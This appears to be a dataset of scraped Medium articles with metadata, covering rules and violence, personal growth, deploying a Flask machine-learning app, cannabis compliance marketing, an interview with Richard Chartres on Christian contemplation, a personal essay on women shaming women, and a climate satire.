The relationship between rules, frustration, and violence. | One of the things I've noticed of late is a drastic increase in violence, and one of the things that these drastic increases have in common seems the number of oppressive rules.
Photo Credits : Alex Mccarthy
The thing is we all know how much each and every one of us are annoyed by certain rules, what if those rules became too much, what if they oppress our freedom to choose. How long can a person tolerate this?
The other day I was in discussion with a friend of mine, and we were talking about how social media networks with fewer rules see less aggression from members, and I took some time to think on it more, it's actually a two-part problem.
Part One: People like to break rules, be it for the thrill of it or due to frustration, because in the end we may think we want to be told what to do because it makes life easier, but that's not what we want, we want direction and guidance, and have the choices be made by us as an individual. Rules take this away from us because we no longer have a choice.
Take a simple social example, I live in a country where it is socially unacceptable for educated people to do menial tasks, this may not be a rule of law, but its a social rule, therefore even if broken, would only get some judgemental looks from your social circle, yet, people would rather beg, borrow and steal than do a job like that due to this fact. I recently even heard a story of a young girl being murdered because the father of the boyfriend thought she didn't match their social circle and the boy refused to break it off.
Part Two: Justice Seekers and Patriots, yes I said patriots, the ones who stand up for the weak, the act alone may not be a bad thing, but it adds to the unrest in a system. They perpetuate the cycle, let us take social media for a moment, nowadays expressing one’s point could be classified as hate speech, which is bad, but as I recall a famous discussion about free speech vs hate speech, you have the freedom to say you don't like or don't support a person or a group of people, but what you don't have the right to do it ask others to dislike or not support them with you. Based on this saying something like “I dislike astronauts” is an expression of opinion, but due to the rule against hate speech, the justice seekers and patriots will react to the statement, since on most social media platforms action can be taken for hate speech.
This not only creates a major confrontation but also helps spread those words more, and may frustrate some of the people reading it since we know the more activity on a post the more it seems to be displayed, and this post won't be removed easily since in reality it's not hate speech.
So, in turn, this creates more unrest perpetuating more people to lash out, and maybe post their own opinions in their profiles having people in their personal group react creating more unrest, and the cycle goes on endlessly even after the original ignition point is long gone.
In reality, rules create anarchy. It's counter-intuitive I know, but with careful study that seems to be the fact.
Let us take the scenario where extremely restrictive rules didn't exist.
Mind you I'm not saying the lack of rules will eliminate harassment, but it will reduce the scenarios that it happens in.
To begin with, people will be less oppressed, people with more freedom tend to be less prone to harassing others. What if harassment happens you say? There are only so many times a person will attempt to harass another and not get a response. Since its rare justice seekers and patriots would intervene since no real action can be taken. Also, it's about mental attitudes, we look at certain things as harassment because they have been deemed so socially. So if we don't respond to the people attempting to harass most of them will soon give up and move on because they cannot get a response. There are many techniques that don't require confrontation to actually deter them, I won't be discussing them here but I've seen quite a few.
Basic rules are needed, but oppressive and unfair ones create anarchy which in turn perpetuates the cycle of unrest. | https://medium.com/@brokenarrow91/the-relationship-between-rules-frustration-and-violence-738962e4ee49 | ['Eranga Pilimatalawwe'] | 2021-09-11 07:09:14.307000+00:00 | ['Justice', 'Violence', 'Harassment', 'Rules', 'Social'] |
Personal Growth for Successful Career | Personal development is an attempt to educate and improve yourself as the results in your life aren’t fulfilling enough to be self-satisfied. This is where personal growth helps you clear that path towards a direct goal.
“We can’t become what we need to be by remaining what we are.” -Oprah Winfrey
Visit: importance of career development
WHY IS PERSONAL GROWTH RELEVANT FOR YOUR CAREER?
Personal growth is the immediate effect of attempts made to better yourself. Sometimes pointed to as self-improvement, the idea of personal growth is to develop one’s attitude, behavior, manner, and actions.
Visit: how to build personal vision
Some important examples of Personal Growth incorporated that would alleviate your Career:
Learning to Cut the Habit of Idleness Learning to be more Attentive to Others as well as yourself Acquiring new skills and discovering ways to Utilize New Skill effectively Discovering How to Manage Anger effectively Discovering Ways to Overcome the need for Procrastinating Choosing a more Positive Outlook Improving your Thought Process in a better way
Visit: personality development in childhood
BENEFITS OF PERSONAL GROWTH FOR CHILDREN AND YOUTH
Develops children’s ability to overcome fear and embarrassment while tending to speak in public places or events
Improves a child’s inclination to give out good speeches or presentations
Children and teenagers receive and acquire better grammar, vocabulary, and fluency
Improves their awareness about new approaches to increase the technique of speaking in public events
BENEFITS OF PERSONAL GROWTH FOR ADULTS
Discover different things that help gain Creativity and Knowledge
You are Happier and become much Healthier
Easier to Adapt to Change
Success feels close to you
Visit: personality development for employees
Through personality development classes the individual is offered a variety of personal growth chances to develop a real attitude in life. It helps a person to instill certain qualities that will better his or her future. | https://medium.com/@strengthstheatre-com/personal-growth-for-successful-career-b2c2480958c6 | [] | 2020-12-16 15:08:35.621000+00:00 | ['Personal Growth', 'Career Development', 'Personal Development', 'Personality Development', 'Career Development Tips'] |
Deploying an ML web app using Flask | Introduction
This is the continuation of my project analyzing loan data and deploying a machine learning model using Flask. If you are interest in the analysis and model build part, please read this. Flask provides a lightweight framework to develop and deploy web applications. There are many extensions available to suite your specific need. I chose Flask because I found it easier to learn and show off my machine learning model in action. In this post, I will walk through the steps to build and deploy my machine learning model using Flask.
Installation:
You want to install Flask in your virtual environment. I used Pycharm and pipenv to manage my project.
pipenv install flask
Project Structure:
Here is the directory structure for my project:
.
├── app
│ ├── run.py
│ └── templates
│ ├── index.html
│ └── template.html
├── data
│ └── loan_data.csv
├── model
│ ├── classifier.py
│ └── loan_data.pkl
├── notebook
│ └── loan_data.ipynb
├── Pipfile
├── Pipfile.lock
├── README.md
├── static
│ ├── box_plot.png
│ ├── correlation.png
│ ├── credit_policy.png
│ ├── histogram.png
│ ├── installment.png
│ ├── int_rate.png
│ ├── purpose_paid_not_paid.png
│ ├── purpose.png
│ └── results.png
└── util
└── custom_transformer.py
App folder is specific to flask. Let’s go through each of the files and see their content and the purpose they serve
run.py
import sys
import os
from pathlib import Path
from flask import Flask, request, render_template
from joblib import load
import pandas as pd
# Add util directory to path
curr_dir = sys.path[0]
parent_dir = Path(curr_dir).parents[0]
dir = os.path.join(parent_dir, 'util')
sys.path.append(dir)
from custom_transformer import NumericalFeatures, CategoricalFeatures
app = Flask(__name__)
model = load('../model/loan_data.pkl')
@app.route('/')
@app.route('/index.html')
def display():
return render_template("index.html")
@app.route('/predict', methods=['GET', 'POST'])
def predict():
test_data = list(request.form.values())
test_data = [[convert_to_float(s) for s in test_data]]
test_data = pd.DataFrame(test_data)
result = model.predict(pd.DataFrame(test_data))
if result == 1:
string = "Loan is not expected to be paid in full"
else:
string = "Loan is expected to be paid off"
# return render_template("index.html", tables=[test_data.to_html(classes='data')], titles=test_data.columns.values)
return render_template("index.html", result= "Prediction: " + string)
def convert_to_float(s):
try:
return float(s)
except ValueError:
return s
def main():
app.run(port=3201, debug=True)
if __name__ == '__main__':
main()
run.py is the main program that you execute to start the app.
Flask object creates an interface between the web server and the python app
The pickled file for the model is loaded into memory as soon as the server starts
Request allows us to read parameters passed with GET/POST requests
render_template is how we render HTML in the web browser using templates
decorator app.route is used to map specific url with associated functions. In my code above, display() function is called when there is a request for index.html or if no specific page in requested. Similarly, predict() function is called when /predict is requested on the server.
template.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors">
<meta name="generator" content="Hugo 0.84.0">
<title> {{ title }} </title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<link rel="canonical" href="https://getbootstrap.com/docs/5.0/examples/navbars/">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark" aria-label="Tenth navbar example">
<div class="container-fluid">
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarsExample08" aria-controls="navbarsExample08" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse justify-content-md-center" id="navbarsExample08">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="/">Loan Payoff Predictor</a>
</li>
<li class="nav-item">
<a class="nav-link" aria-current="page" target="_blank" href="https://github.com/sumitkumar-00/disaster-response/blob/master/notebook/process_data.ipynb">Exploratory Data Analysis</a>
</li>
<li class="nav-item">
<a class="nav-link" target="_blank" href="https://github.com/sumitkumar-00">GitHub Portfolio</a>
</li>
<!--
<li class="nav-item">
<a class="nav-link disabled" href="#" tabindex="-1" aria-disabled="true">Disabled</a>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="dropdown08" data-bs-toggle="dropdown" aria-expanded="false">Dropdown</a>
<ul class="dropdown-menu" aria-labelledby="dropdown08">
<li><a class="dropdown-item" href="#">Action</a></li>
<li><a class="dropdown-item" href="#">Another action</a></li>
<li><a class="dropdown-item" href="#">Something else here</a></li>
</ul>
</li>
-->
</ul>
</div>
</div>
</nav>
</div>
{% block index %}
{% endblock %}
</body>
</html>
You use templates to render part of the web page that is same across multiple pages with placeholder for dynamic content. Using template.html, I am creating the header (navigation, menu etc.) and have a placeholder for dynamic content shown in bold. I extended this template in index.html and added a form with a submit button and a placeholder for the result. When the form is submitted, the request is routed to predict function which reads the input parameters and then predicts using the model. Result is rendered using the same index.html template.
You just need to execute one line of code from the app folder to start the web app
pipenv run python run.py * Serving Flask app 'run' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://127.0.0.1:3201/ (Press CTRL+C to quit)* Restarting with stat
* Debugger is active!
* Debugger PIN: 117-271-466
127.0.0.1 - - [13/Sep/2021 21:18:02] "GET / HTTP/1.1" 200 -
Go to http://127.0.0.1:3201/ in any browser and viola! | https://levelup.gitconnected.com/deploying-ml-web-app-using-flask-334367735777 | ['Sumit Kumar'] | 2021-09-16 12:47:44.655000+00:00 | ['Machine Learning', 'Flask Framework', 'Python3', 'Web App Development'] |
Sustained Compliance in the Cannabis Industry | In July 2019, Health Canada issued notices to medical cannabis producers for non-compliance in case of three drugs and health/diversion-related deficiencies for 65 out of the 257 drugs it inspected.
The reasons ranged from process insufficiencies such as quality-assurance to oversight of certain activities, unapproved procedures followed by personnel and inefficient implementation of standard operating procedures.
Some of the other factors that can attract a warning or a non-compliance rating include released batches failing testing, manufacturing and packaging issues, contamination, fraud and illegal activity.
The Compliance Quagmire
Medical cannabis is still in its nascent stages, slowly gaining acceptance, but with lots of ifs and buts even in the United States where only three drugs using this ingredient have received FDA approval since 2018. The legality is further obfuscated by the fact that its use is legal in many parts of the country as the 2018 Farm Bill (FB) legalized the industrial cultivation of hemp provided it contains less than three-tenths of one percent of THC (Tetrahydrocannabinol).
Toxicity can cause psychotropic behaviors and side effects such as hyperemesis and bronchospasm. While 33 states have legalized the use of medical marijuana, it is still listed as Schedule I drug by CSA, creating a conflict. Some products containing cannabis and cannabis-derived compounds also do not conform to the Federal Food, Drug and Cosmetic Act (FD&C Act), endangering the health and safety of consumers.
With drug-injury litigation being the second most frequent reason for medical malpractice lawsuits, cannabis risk-management is not just about compliance. Medical cannabis producers and healthcare service providers working with these drugs need to have strong risk-management policies and mitigation strategies around cannabis use.
Confusion Confounded
This is difficult considering the contradictions (complexity?) in the U.S. laws and regulations at this stage. There is lack of standardization for the potency of medical marijuana and Cannabidiol (CBD) across states in the US. It also lacks Current Good Manufacturing Practices (CGMPs) and industry standards approved by the FDA. Therefore, knowing the regulations in every state and ensuring the drugs conform to the permitted levels is important for the producers.
Thirdly, there are many experiments being conducted on marijuana strains and hybrid varieties to address specific disease conditions. This makes it difficult to assess the exact THC and CBD in a product, making compliance and risk management that much more difficult. The mode of administering the cannabis — vaping, smoking and eating — also impacts the way it affects the system which healthcare professionals need to be aware of.
Sustaining Compliance
In this uncertain state of affairs, it must also be remembered that obtaining the license is only one part of the story. Continuing to maintain it and adapt to regulatory changes as the processes become standardized will be just as important for cultivators, manufacturers and dispensaries as well as independent laboratories who undertake the testing of the cannabis products. Some of the key factors to consider would include, potency, residual solvents, processing chemicals, residual pesticides and microbials such as E.coli and mold.
Some of the key compliances will include reconciling the inventory every day between the physical counts, POS inventory, state-mandated tracking inventory and the accounting system for associated tax payments, a major infarction common to the industry.
Facility tracking logs, be it for waste, security and surveillance or application and production, need to be complete and sufficient. Financial documentation is mandatory with Currency Transaction Reports (Form 8300), 280e compliance and physical access to all financial and inventory records being readily available for inspection by the authorities concerned. Regulatory authorities are also becoming strict about sufficient public safety warnings that are clear and visible to avoid any potential health risks.
Walking With You All the Way
ComplianceQuest, an EQMS built on the Salesforce.com Platform, can be customized for use in the Cannabis industry. Medical marijuana and key players in the cannabis industry can take advantage of the robust set of features that’ll drive quality and regulatory compliance across the product lifecycle.
Over the last year or so, we’ve helped a number of startups and growth companies in this segment take advantage of our EQMS, especially our non-conformances, deviations, audit, CAPA and change management modules.
The product enables a customer to have a top-down approach to enforce SOPs, Quality System Regulations (QSR), ISO requirements and other best practices. Needless to add, Document Management for regulatory needs can also be stored in a single, easily accessible repository.
The vision at ComplianceQuest is to transform quality and compliance into a strategic advantage for our customers through experience, expertise and passion. ComplianceQuest is an innovative, 100% cloud based Enterprise Quality Management System solution company. We provide an enterprise grade solution that streamlines quality, compliance, content and collaboration management initiatives and strategies across diverse, globally based supply chain networks.
For more information, contact ComplianceQuest today.
Visit www.compliancequest.com
Email us at [email protected]
Call us at 408–458–8343
To request for a demo or know more, click here: https://www.compliancequest.com/cannabis-industry/ | https://medium.com/@compliancequesteqms/sustained-compliance-in-the-cannabis-industry-5dc2299b09c5 | [] | 2020-12-26 18:23:03.915000+00:00 | ['Non Conformance', 'Sustainability', 'Cannabis', 'FDA', 'Compliance'] |
Lord Richard Chartres on Christian contemplation | In 2015, I got the chance to interview the Bishop of London, Richard Chartres, for my research on spiritual ecstasy. It was an informal conversation, and it was very kind of the Bishop to give me the benefit of his time and wisdom. I thought he’d be a good interviewee because of his interest in contemplative practices and in Christian mystics like Thomas Traherne. And he was! He’s retired from the Bishopric and now sits in the House of Lords. I’m not a Christian myself, by the way, but I have a deep appreciation for Christian mysticism and think there is a lot to learn from it.
Do you think spiritual ecstasy is dangerous?
It certainly can be. We have forgotten how dangerous religion can be. We think of it as a minority leisure pursuit — another cup of tea, Vicar. To remember how dangerous it can be, you have to go back to before religion became obstinately metaphysical, to the Civil War, when the streets around here were filled with Levellers and Fifth Monarchists and other fanatics, who had caused a social revolution.
St Paul’s cathedral is, in some ways, Christopher Wren’s answer to religious enthusiasm — God as a mathematician rather than the terrifying arbitrary God of the Civil War.
The great Bishop Butler says to John Wesley: ‘pretending to special revelations of the Holy Ghost Mr Wesley is a very horrid thing. It’s a very horrid thing indeed.’ And it is indeed a very horrid thing. Unless it’s held firmly within a community of interpretation, with a shared communal experience of discerning between evil spirits and good spirits, then it’s very dangerous.
It’s happened again and again in the Church. Montanism was a clear example of an ungovernable Dionysian spirit in the early Church. It perhaps was there in the dance crazes of the Middle Ages, and in some of the Millenarian movements of the 14th and 15th centuries, as chronicled by the historian Norman Cohn.
By the 16th and 17th centuries, there was a fear of the irrational, a fear of the ungovernable spirit, in the Church. As a result, the Holy Spirit was occluded, was edited out. If you look at the consecration of prayer in Cranmer’s prayer book [in the 1540s], it does not contain what all the primitive liturgies contain, which is an invocation of the Holy Spirit.
The sixteenth century, which was the century where western churches received their present shape, saw an over-definition of mystery in the interest of polemics, an over-bureaucratization of the church and a cosying up to the nation state.
One of the most feared things as far as the reformed Roman church was concerned was the whole realm of mystical experience — why else did the Church put St John of the Cross in jail? The great spiritual mind of 16th century Spain was persecuted because his kind of mystical exploration is a threat to rigid control, bureaucratic church authority, and the over-definition of mystery in the interest of polemics.
So you’re saying that, in reaction to the unbridled and violent Dionysian ecstasy of the late medieval and early modern era, the Church went too far, and occluded the Holy Spirit entirely?
Yes. The truth expresses itself as an economy in which the various elements of the truth aspect and balance one another. The truth is not to be encapsulated in a neat formula. It exists as a massive symphony, where the truth is given by the interplay of the various parts. If you omit any part of it, then there is a reaction and exaggeration of the missing element.
This is exactly what happened with the occlusion of the Holy Spirit in the West, and the editing out of the Eplicesis [the drawing down of the Holy Spirit] from western liturgies, and the demeaning of the Christian faith into a list of propositions, which turns God into an idea in the mind.
The reaction came in the Romantic revival and finally the Azusa Street Pentecostal movement, which has reshaped the sociology of the world. The Azusa Street explosion of Pentecostalism came because, in the economy of Christianity, the charismatic element is essential to Orthodoxy. In any one life, we see only a very small part of the curve of these great historical movements. It’s our duty to try and see more of the curve, and to knit together fragments of knowledge and relate them to the whole.
The charismatic stream is part of the grand symphony of the Christian faith. And one of the wonderful things about the Church of England in London is that, for various reasons, the charismatic stream has not absolutized itself, has not decided to lead a sectarian apart life, and to leave the church. In fact it is revivifying the church within, and is being saved from folly and rigidity, which always happens when you become sectarian. If you become sectarian in your mentality, and focus on one bit of the Christian economy, what happens is rigidity and eventually disappearance and decline.
The occlusion of the Holy Spirit never really happened to the same extent in the Eastern Church, by the way. The Treatise of St Basil on the Holy Spirit is absolutely central to the Eastern understanding of the Holy Spirit as the Perfector, as the Go-Between.
I rather incline to GK Chesterton’s view — you can’t really be an orthodox Christian without having a charismatic life. That doesn’t necessarily mean special gifts of the Holy Spirit. Such gifts are given to people at various stages of people in their pilgrimage, for good reason, often to break up the crust of convention which is keeping them imprisoned. Once a real fluency in spiritual matters has been achieved, they’re no longer necessary. It’s very dangerous to hold on to some of these psychic phenomena which often attend growing in the Holy Spirit.
So how much importance should we give to Holy Spirit encounters or charismatic gifts in our spiritual life?
I have a simple map of spiritual reality. We spend most of our time at the mental ego level, on the surface, with the self negotiating the world around — a self which we have largely manufactured and confected. It is very difficult to get modern people to understand prayer is not just a form of thinking at that level. That’s one of the fundamental errors and difficulties people encounter at the beginning of learning to pray.
At that mental ego level, there are often things of darkness which are unacknowledged. At the end of The Tempest, Prospero says of Caliban, ‘this thing of darkness I acknowledge mine’, but often those dark things are left unacknowledged within us. And much religion is really dangerous and I would say lethal, because it is in effect the surreptitious re-ascent of the bruised ego.
‘This thing of darkness I acknowledge mine’ — Prospero and Caliban in Shakespeare’s Tempest
We project parts of ourselves — our anger, all kinds of personal psychic material — into the middle distance, deifying it and conducting a solipsist conversation. God is very often a projection of some of this unacknowledged material.
You can see it very clearly: the God which causes people to smite and slay. Sane religious cultures which have lasted for a very long time have discerned that the real fruits of the spirit are love, joy, peace and various other things. They certainly aren’t homicidal impulses.
So you have the mental ego level — and the adventure of prayer is to go beyond and beneath that — into the psychic zone, in which very often there are gifts of the spirit, charismatic gifts of various kinds — glossolalia, gifts of prophecy, and ecstatic utterance.
There is a great danger in falling in love with yourself once again as a spiritual person, in becoming too intrigued by these things, and to think ‘because I have these things I am a really serious Christian’. There has to be a continued Copernican revolution, and that revolution always turns us outwards in generosity to our fellows and in adoration to God. St Anthony the Great says we must see the Spirit in our neighbour, and love them.
But instead, what can happen when you have notable charismatic gifts, is once again a turning inwards, an admiration of the self. Lucifer the light-bringer fell, because he fell so in love with his own reflection.
And then after the psychic zone, there is what is called the heart, which for the Hebrews was not the blood pump, the heart for the Hebrews was the vitals, where the spiritual centre was actually located. And once you were quiet enough and had been educated by silence and stillness, and had gone through this journey, from time to time, you tasted from the eternal well-spring that there is at the heart of every life and all life, where the spirit is already there and praying in ways we can’t understand.
So that is the map. Part of being a follower of the spirit of truth in Christ is to make a passage through this dangerous territory, drain the shadows, and acknowledge that this thing of darkness is mine.
And it is a very dangerous thing to enterprise the exploration of the spirit alone and isolated. Unless you do it in community, you are open to delusion and have little way of checking the face of the god that is visiting you.
Our spiritual culture at the moment is so impoverished and primitive. People find it extraordinarily difficult to be serious about angels or discarnate energies. There is a very dangerous and dark realm, which the Christian practice navigates through, by practicing in a community, by modeling oneself on Jesus Christ, by digesting His words not just as ideas in the mind but also as sacramental practice.
Even Luther and Calvin say the Church is a community in which the Gospel is truly preached and the sacraments are duly administered. It’s a very modern tragedy that religion has become ideas in the mind. That’s why western religion is so feeble.
Where can we look to learn contemplative practices?
A truly beautiful book
You’re asking for other people to engage with. Of course, there is the tradition of John Main and Laurence Freeman. I’m a member of the Eckhart Society — there is a huge renewed interest in Meister Eckhart. Then there is the Eastern tradition on the Holy Mountain, where you will find monks who have gone through the psychic phase and started to live an authentic spiritual life. In the UK, the 24 / 7 prayer movement is one place one could look — Pete Greig is the real thing. He’s a good man. And there are some books one could read, such as Olivier Clemont’s The Roots of Christian Mysticism, or Thomas Keating’s Open Heart, Open Mind; or Mark McIntosh’s Mystical Theology.
But alas we do not have many places where one can go today to learn and practice contemplation — we are very needy.
What about academic centres where contemplative practices could be studied and practiced?
The difficulty is that academia has sold out to a methodology which really depends on something all modern people must use — the experimental method, the metrics — and in this realm, that’s not applicable. The only thing you can do is be clear about the fruits of various practices.
The tree of knowledge was so fatal because it was knowledge wrenched from its source, and lying in atomized bits and pieces. We don’t seek illumination from the whole but from bits and pieces. This is one of the reasons why this civilization is in grave peril. Its arrogance is enormous. It still thinks it can preach to the whole world in the name of some very limited and abstract notions. It is indeed a civilization that is deeply needy.
So now we’re looking for an authentic wisdom which is inhabiting the whole Christian economy, with the right kind of balance and poise. Being sane and poised enough to love without distortion or hidden agendas. To be able to relate all knowledge to the whole, to the Pleroma, to the purposes of God. These are some of the aspects of wisdom, as opposed to knowing a hell of a lot.
Do you think there needs to be a contemplative revival in the Church?
The church needs huge reform in this respect, but certainly not the kind of fidgeting we’ve had in the last 50 years — fidgeting about structures and regulations, about the ministry, about this that and the other, and being a dull echo of the secular consensus, which of course says that the supreme value of life is individual choice whether in goods or morals.
The real trouble with the Church is not that it has retrograde social attitudes, or hasn’t embraced the emancipation of women — it’s that it’s spiritual incredible. It’s just as shallow as the rest of us. That’s the real truth, and that’s why people are fascinated by other ways which have remained less disturbed by the gospel that really grips this society, which is that there should be no constraint on individual consumer choice in goods or morals. That’s the very opposite of the truth. Autonomy is the story of the fall, not redemption. The church has accommodated itself so much, and is so lacking in distinction.
A lot of people (including me) believe it’s possible to have spiritual experiences in various different traditions and beyond any tradition.
Spiritual But Not Religious is a new upper middle class religion. You take a bonne bouche of Sufism, season it with Californian Buddhism. It’s delightful. And your deity of course is your taste. There is no genuine spiritual progress without committing yourself to a way.
I don’t deny there are other ways that help people to make spiritual progress. If you start honestly on a way, you find yourself in a place where there is plenty of commerce and conversation with followers of other ways, but you can do it authentically. But you have to commit yourself to a way, because otherwise the Copernican revolution never occurs — you , your ego and your taste, are still in control, and the profound bouleversement does not occur.
So you can get to God via, say, Buddhism or Islam or even humanism?
You can’t to the God and Father of our Lord Jesus Christ. That’s not to say there are other ways to different destinations. There is only one Way to God as Jesus Christ has revealed Him, and that way is by feeding on His word and as part of His community and His sacraments. There is no other way to that destination.
But it would be very strange if this was a world created by God and marked by the Noachian covenant with all human flesh, in which God had left no vestige of Himself and His healing and ennobling spirit except within one strand or stream.
So I don’t find the denigration of other ways essential. It is the fact that there is no other way to the Father except through Jesus Christ, that does not mean that all other ways have no element of truth within them. But I am clear that unless you commit yourself to a way, rather than being idly neutral or taking a bit from here and there, there’s no spiritual progress whatsoever.
It’s the balance of practice, conviction, generosity, compassion, community and creativity, properly related to the ultimate pole — God who no man has seen at any time, only Jesus Christ who has revealed the Father. When you come into the presence of God, by this portal — there are other portals which may take you to different places — you come through a passage of self-sacrifice and giving oneself away, which paradoxically does not result in obliteration, but in the most extreme ecstasy and joy at the discovery which lies at the end of all this — that one is fearfully and wonderfully made, one is a unique and beloved child of God.
If I’m a Christian, do I have to agree with everything St Paul says?
Well…I wouldn’t say that, because the Holy Scriptures are, again, symphonic. You’ve got to immerse yourself in the Biblical worldview, which begins to bring into the foreground the grand themes. Of course, bits of the Scriptures are things of their own time. But it isn’t an either / or. You don’t sit in judgement on the Scriptures.
This is the crucial thing: how do you go through the desert of criticism, with spiritual and intellectual integrity, granted that the primordial gift of innocence before the Scriptures is not possible for modern people. You arrive at a point where you develop the critical approach, because doubt is not the opposite of faith. Faith is going beyond, beneath, embracing, saying ‘yes!’ Grasping a vision. The opposite of faith is sin, a turning in on oneself.
That’s the opposite of faith, not doubt. Doubt is extraordinarily creative, as long as it doesn’t turn into corrosive scepticism, stopping us from any kind of commitment. You can be committed as far as you can be.
This largely comes from the astonishing work of Paul Ricouer. His work on Biblical criticism is all about how you can enter with spiritual and intellectual integrity into second innocence. And it’s possible. Indeed, the ‘nubbly bits’ are extraordinary fuel, as long as you continue to live with it.
If you believe you live on a pinnacle of enlightenment and eminence from which you can judge all times and places, there’s very little hope for you. If you’re prepared to read the scriptures with people from other ages and cultures, and prepared to say ‘I can’t take that’ while continuing with engagement, you may find some of those difficult passages yield as our musical taste changes, as our understanding of life and the great pattern changes, you may find they have a different valency.
But I don’t think you have to say, at this particular point, that because St Paul wanted, in the Philemon, to return a slave to his master, that you’re committed to upholding the institution of slavery, as Cardinal Newman thought. That shows the limitation of Cardinal Newman.
If you enjoyed this, sign up for my newsletter at www.philosophyforlife.org or check out my book The Art of Losing Control, which explores how people find and make sense of ecstatic experiences in modern culture. | https://julesevans.medium.com/lord-richard-chartres-on-christian-contemplation-1d2fcbf334e8 | ['Jules Evans'] | 2020-11-13 16:26:47.763000+00:00 | ['Christianity', 'Spirituality', 'Christian Contemplation', 'Mysticism', 'Contemplation'] |
PR Opportunities for Freelancers and Small Businesses | Translation Times
Focus on translation and language — for translators and translation buyers | https://medium.com/translation-times/pr-opportunities-for-freelancers-and-small-businesses-6abf3f0030f8 | ['Kahli Bree Adams'] | 2020-08-11 00:27:10.496000+00:00 | ['Freelancing', 'Translation', 'Public Relations', 'Small Business', 'Pr'] |
As A Woman, I Am Tired Of Being Torn Down | Photo by Chema Photo on Unsplash
As A Woman, I Am Tired Of Being Torn Down!
Let’s lift each other up, and not bash each other.
There are so many things people disagree on everyday. Everyone is entitled to their own opinion.
Can’t we just be kind to each other? Why do people feel the need to shame others? It’s not like everyone is always going around asking for an opinion, so why must we shove our opinions down someone else’s throat?
A lot of the shame is women on women. I think as women we should stand together, help each other up, and not beat each other down. We are all fighting our own battles. I think it is time that we all come together to make the world a better place.
The world is bad enough as it is.
Men and women can be friends!
This one is really annoying to me. I have had male friends in the past and just because I am a woman does not mean we have slept together or we are going to. It does not mean we are in love, and it does not mean I have any desire to be with him.
I can’t tell you how many times a woman has called me or sent me a Facebook message about their boyfriend, husband, or whatever.
This gets really old, especially when you’re trying to build a career and you’re actively growing your network.
Yes, I am friends with your husband on Facebook. Why are you cursing me out because he liked three of my posts? How old are we? Or even better, Do you realize I live on the other side of the country? How big do you think his penis is? Does it reach that far? I didn’t think so!
I should not be shamed for my choices as a mother
I have three kids. I should not be told that my son was too old to still be breastfeeding.
In fact, you should not have anything to say about me breastfeeding or formula feeding. You should trust that I, as a mother, will make the best possible decision for all of my kids.
Women, in public or not, should not be shamed for the way they choose to feed their kids. It is none of your business. If you do not like it, don’t look.
I formula fed my oldest two and I breastfed my youngest.
When you formula feed your kids it’s bad because breast is best, but when you breastfeed your kids it’s gross and you need to cover up. No matter what people are going to have something to say.
Yes, I stay at home with my kids. I am doing this as a choice. It should not matter if I work or not. I do not have to go get a “real" job to make you happy. You are not the one paying my bills.
I hate that women who stay at home get shamed for not bringing money into the home and women who do work get shamed for not spending enough time with their kids and for not taking care of their home.
Is it your house? Do you live there? Why does it matter anyway?
I should not be shamed for what I wear.
I am old enough to know as a woman, if you wear certain things you will get a certain kind of attention.
They say you are asking for it. How am I asking for it by being comfortable in my own skin?
I know as a woman, we are expected to look a certain way. Don’t gain weight. Wear this makeup to look prettier or younger or wear this to make you look thinner.
I do not wear makeup as a choice. I get shamed for that too. People say I do not get ready enough and I need to try harder.
I bet if I tried harder and wore makeup someone would accuse me off trying to sleep with their significant other.
I was sexually assaulted in high school on a regular basis. I was told not to wear this or that. I wore sweat pants and hoodies damn near everyday and it still happened. Did they ever do anything to the boys? No, they did not. It is just not right.
I am very cautious about what I wear now, not because of men but for the simple fact that I have a teenage daughter. I make a point to wear clothes that reasonably cover me.
I don’t want her to think it’s okay for some men to act like they do, but I do want her to stay safe and dress appropriately at the same time.
I don’t do anything in public that I wouldn’t want her to do.
I am trying to lead by example.
I should not have to shame my daughter for what she wears.
Why is it that the girl’s dress code at my daughter’s school is two pages long, while the boy’s dress code is only one, maybe two paragraph(s)?
Why do I have to tell her that if you wear this they might think you are asking for it, like it’s a free pass to mistreat you or touch you?
On what planet is this okay? I should not have to fear for my daughter every day.
In conclusion
I understand that everyone is entitled to their own opinion. I just wish the opinion was not geared toward each other as much.
Why do we have to be against each other? Isn’t the world negative enough as it is?
We should be lifting each other up as a whole. I’m not just talking about men, or just talking about women, but everyone needs to do their part to make the world a better place. | https://medium.com/age-of-awareness/as-a-woman-i-am-tired-of-being-torn-down-46cbc6a94310 | ['Angela Welch'] | 2020-09-06 11:41:37.563000+00:00 | ['Self-awareness', 'Womanhood', 'Women', 'Self', 'Empowerment'] |
The Annual Climate Change Deniers Conference Must Change Venues Again | 11/01/2036 UPDATE
We hope you’re all getting excited now that our AGM is only three months away! However, I’m sure it comes as no surprise to those of you following the news to hear that, due to the unseasonable record rainfall that has been ravaging Phoenix, we will be changing venues. The Phoenix Convention Center has unfortunately been almost entirely submerged by floodwater.
While there had been hopes that it could be repaired in time, the sheer volume of large snapping turtles that have taken up residence in the floodwaters in the various auditoriums have hindered the efforts of engineers. As such, we are pleased to announce that Toronto’s Metro Convention Center will play host to our AGM!
The surprising disappearance of winter snow and ice, while allegedly devastating for Canada’s flora and fauna, has proved nothing short of a boon to their ability to host international conferences throughout the year, and we look forward to seeing you at the MTCC on 1 February! | https://medium.com/jane-austens-wastebasket/the-annual-climate-change-deniers-conference-must-change-venues-again-fbb4c5bce8cd | ['Rory Mcnab'] | 2020-10-26 14:46:21.503000+00:00 | ['Satire', 'Culture', 'Humor', 'Climate Change', 'Environment'] |
4 Financial Habits to Avoid | 4 Financial Habits to Avoid
